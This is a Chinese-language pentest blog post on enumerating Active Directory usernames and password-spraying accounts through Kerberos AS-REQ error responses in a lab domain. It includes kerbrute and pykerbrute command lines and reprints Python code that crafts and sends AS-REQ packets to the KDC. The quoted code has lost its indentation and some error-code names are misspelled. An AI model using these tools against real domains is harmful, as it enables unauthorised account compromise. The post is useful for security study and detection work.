基于kerberos协议的域内用户名密码爆破

  1. 环境
  2. Kerberos
  3. 域用户爆破
    1. kerbrute
    2. pykerbrute
      1. 代码分析
  4. 原理分析
    1. 用户名枚举
    2. 密码喷洒
  5. 参考

拿到域内机器之后,我们需要横向移动,域内用户账号密码的收集和爆破也是很重要的。

环境

domain:hacke.testlab(192.168.43.100)
win2008:192.168.43.110

Kerberos


一般情况下我们的KDC就是DC

域用户爆破

kerbrute

基于golang编写的一款爆破工具,支持域内用户名枚举、密码爆破,支持win/linux。

github:

1
https://github.com/ropnop/kerbrute.git

下载好之后用golang进行编译

会生成kerbrute.exe

放到域内机器执行:

1
2
3
4
#用户名枚举
kerbrute.exe userenum -d dc.local username.txt
#密码喷洒
kerbrute.exe passwordspray -d dc.local username.txt password

效果如下:


pykerbrute

三好学生编写的py脚本

1
2
3
4
5
6
#用户名枚举
EnumADUser.py <domainControlerAddr> <domainName> <mode>
<mode>: tcp or udp
#密码喷洒
ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode>
<mode>: tcp or udp

效果如下:


代码分析

其实就是发送认证的包,抓取返回值(原理文章后面有写)
这里看EnumADUser.py
AS-REQ结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def build_req_body(realm, service, host, nonce, cname=None):

req_body = KdcReqBody()

# (Forwardable, Proxiable, Renewable, Canonicalize)
# req_body['kdc-options'] = "'01010000100000000000000000000000'B"
req_body['kdc-options'] = "'00000000000000000000000000010000'B"
if cname is not None:
req_body['cname'] = None
req_body['cname']
req_body['cname']['name-type'] = NT_PRINCIPAL
req_body['cname']['name-string'] = None
req_body['cname']['name-string'][0] = cname

req_body['realm'] = realm

req_body['sname'] = None
req_body['sname']['name-type'] = NT_SRV_INST
req_body['sname']['name-string'] = None
req_body['sname']['name-string'][0] = service
req_body['sname']['name-string'][1] = host

req_body['till'] = '19700101000000Z'

req_body['nonce'] = nonce

req_body['etype'] = None
req_body['etype'][0] = RC4_HMAC

return req_body

进行封装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def build_as_req(target_realm, user_name, nonce):
req_body = build_req_body(target_realm, 'krbtgt', target_realm, nonce, cname=user_name)

as_req = AsReq()

as_req['pvno'] = 5
as_req['msg-type'] = 10

as_req['padata'] = None

as_req['req-body'] = _v(4, req_body)
print(as_req)

return as_req

发送请求tcp/udp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def send_req_tcp(req, kdc, port=88):
data = encode(req)
data = pack('>I', len(data)) + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((kdc, port))
sock.send(data)
return sock

def send_req_udp(req, kdc, port=88):
data = encode(req)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((kdc, port))
sock.send(data)
return sock

接收请求tcp/udp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def recv_rep_tcp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
if datalen is None:
datalen = unpack('>I', rep[:4])[0]
if len(data) >= 4 + datalen:
sock.close()
return data[4:4 + datalen]

def recv_rep_udp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
sock.close()
return data

验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def checkuser_tcp(user_realm, user_name, kdc_a):

nonce = getrandbits(31)
as_req = build_as_req(user_realm, user_name, nonce)
sock = send_req_tcp(as_req, kdc_a)
data = recv_rep_tcp(sock)
i=0
for c in data:
i=i+1
if(i==47):
if(ord(c)==0x19):
print('[+] Valid user: %s'%(user_name))

def checkuser_udp(user_realm, user_name, kdc_a):

nonce = getrandbits(31)
as_req = build_as_req(user_realm, user_name, nonce)
sock = send_req_udp(as_req, kdc_a)
data = recv_rep_udp(sock)
i=0
for c in data:
i=i+1
if(i==47):
if(ord(c)==0x19):
print('[+] Valid user: %s'%(user_name))

原理分析

使用win2008登陆域用户,会向我们的域控发起认证请求

用户名枚举

在认证过程中,若用户名不存在,AS-REQ请求会返回对应的错误信息

1
2
3
4
用户不存在:
error_code:eRR-C-PRINCIPALL-UNKNOWN
用户存在:
error_code:eRR-PREAUTH-REQUIRED

密码喷洒

在认证过程中,若密码错误,AS-REQ请求会返回对应的错误信息


特征:

1
error_code:eRR-PREAUTH-FAILED

参考

内网渗透之kerberos协议分析

这是一篇“不一样”的真实渗透测试案例分析文章


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:基于kerberos协议的域内用户名密码爆破

本文作者:sher10ck

发布时间:2020-10-26, 14:41:54

最后更新:2020-10-26, 16:40:38

原始链接:http://sherlocz.github.io/2020/10/26/kerberos-brute/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录